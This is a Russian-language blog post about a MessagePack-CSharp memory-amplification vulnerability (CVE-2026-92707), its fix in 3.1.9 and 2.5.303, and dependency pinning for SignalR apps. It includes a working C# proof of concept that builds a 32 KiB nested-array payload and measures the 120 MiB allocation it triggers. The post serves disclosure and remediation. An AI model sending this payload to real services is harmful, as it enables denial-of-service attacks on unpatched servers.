Start Debugging

MessagePack 3.1.9 и 2.5.303 исправляют payload на 32 КиБ, который выделяет 120 МиБ

CVE-2026-92707: заголовки вложенных массивов MessagePack могли переиспользовать одни и те же оставшиеся байты, чтобы пройти проверку длины, поэтому десериализация в object выделяла в тысячи раз больше памяти, чем размер payload. Разбираем исправление, пробу до/после и почему приложениям SignalR на .NET 8-11 RC 1 нужен прямой пин пакета.

MessagePack-CSharp выпустила 3.1.9 и 2.5.303 2026-09-17 с исправлением GHSA-qhrr-8q5h-9q3h (CVE-2026-92707, средней серьезности). Если вы десериализуете недоверенный MessagePack в object, payload размером в несколько килобайт может заставить выделить более ста мегабайт памяти на один запрос.

Почему ограничение глубины не спасало

PrimitiveObjectFormatter, форматтер за Deserialize<object>, читает заголовок массива и сразу выделяет new object[count]. Единственной защитой была проверка здравого смысла в MessagePackReader.ReadArrayHeader: заявленное количество не должно превышать количество непрочитанных байт, исходя из допущения, что каждый элемент занимает хотя бы один байт.

Проблема в том, что каждый вложенный заголовок проверялся относительно одних и тех же оставшихся байт. Заголовок array32, заявляющий 32 000 элементов, за которым следует другой, заявляющий 31 995, за которым следует еще один, - все они проходят проверку, потому что ни один не учитывает то, что уже зарезервировали его родители. MessagePackSecurity.UntrustedData ограничивает глубину графа на уровне 500, но исключение срабатывает только после того, как уже выделено и живо 500 массивов.

Измерение

Я собрал payload напрямую: 600 заголовков array32, каждый из которых заявляет столько элементов, сколько байт осталось, дополненных nil до 32 КиБ. Одно и то же файловое приложение запускалось против каждой версии на SDK 10.0.302:

#:package MessagePack@3.1.8
#:property PublishAot=false
using MessagePack;
using System.Buffers.Binary;

const int headers = 600, total = 32 * 1024;
var payload = new byte[total];
for (int i = 0; i < headers; i++)
{
    payload[i * 5] = 0xdd; // array32
    BinaryPrimitives.WriteUInt32BigEndian(payload.AsSpan(i * 5 + 1), (uint)(total - (i + 1) * 5));
}
payload.AsSpan(headers * 5).Fill(0xc0); // nil

var options = MessagePackSerializerOptions.Standard.WithSecurity(MessagePackSecurity.UntrustedData);
long before = GC.GetTotalAllocatedBytes(precise: true);
try { MessagePackSerializer.Deserialize<object>(payload, options); }
catch (MessagePackSerializationException ex) { Console.WriteLine((ex.InnerException ?? ex).Message); }
Console.WriteLine($"{(GC.GetTotalAllocatedBytes(true) - before) / 1024.0 / 1024.0:F1} MiB");
ВерсияИсключениеВыделено
2.5.302exceeds the maximum depth allowed of 500120.5 МиБ
2.5.303Attempted to read past the end of the stream0.3 МиБ
3.1.8exceeds the maximum depth allowed of 500120.5 МиБ
3.1.9Attempted to read past the end of the stream0.3 МиБ

Исправленный ридер отклоняет второй заголовок вместо 501-го выделения памяти.

Что меняет исправление

Коммит 7fd78bb заменяет проверку по каждому заголовку на ReserveMinimumChildBytes. Теперь ридер отслеживает, сколько байт зарезервировали для своих дочерних элементов предыдущие заголовки массивов и карт, снимает это резервирование по мере потребления байт и принимает новый заголовок только в том случае, если его количество умещается в оставшееся после этих резервирований. Проверка находится в MessagePackReader, поэтому выигрывает каждый форматтер, а не только object.

Релиз также добавляет больше известных гаджетов десериализации в список запрещенных по умолчанию для именованных типов (#2263, #2269).

Приложениям SignalR нужен прямой пин

В рекомендации упоминается ASP.NET Core SignalR с AddMessagePackProtocol() и метод хаба, принимающий object как удаленный вектор. Microsoft.AspNetCore.SignalR.Protocols.MessagePack 8.0.31, 9.0.20, 10.0.12 и 11.0.0-rc.1 - все они по-прежнему зависят от MessagePack 2.5.302. Пока сервисный релиз не поднимет версию, переопределите транзитивную версию сами:

<PackageReference Include="Microsoft.AspNetCore.SignalR.Protocols.MessagePack" Version="10.0.12" />
<PackageReference Include="MessagePack" Version="2.5.303" />

Оставайтесь на линии 2.x для SignalR, поскольку пакет протокола скомпилирован против API 2.x. Как только рекомендация попадет в данные об уязвимостях NuGet, dotnet list package --vulnerable --include-transitive пометит любой проект, все еще разрешающий 2.5.302.

В долгосрочной перспективе замените параметры object в методах хаба и члены object в DTO конкретными типами. Это была первая рекомендация в самой рекомендации по безопасности, и она полностью убирает PrimitiveObjectFormatter с поверхности атаки. Если вы выбираете бинарный сериализатор после отказа от BinaryFormatter, руководство по миграции с BinaryFormatter рассказывает, где вписывается MessagePack.

Comments

Sign in with GitHub to comment. Reactions and replies thread back to the comments repo.

< Назад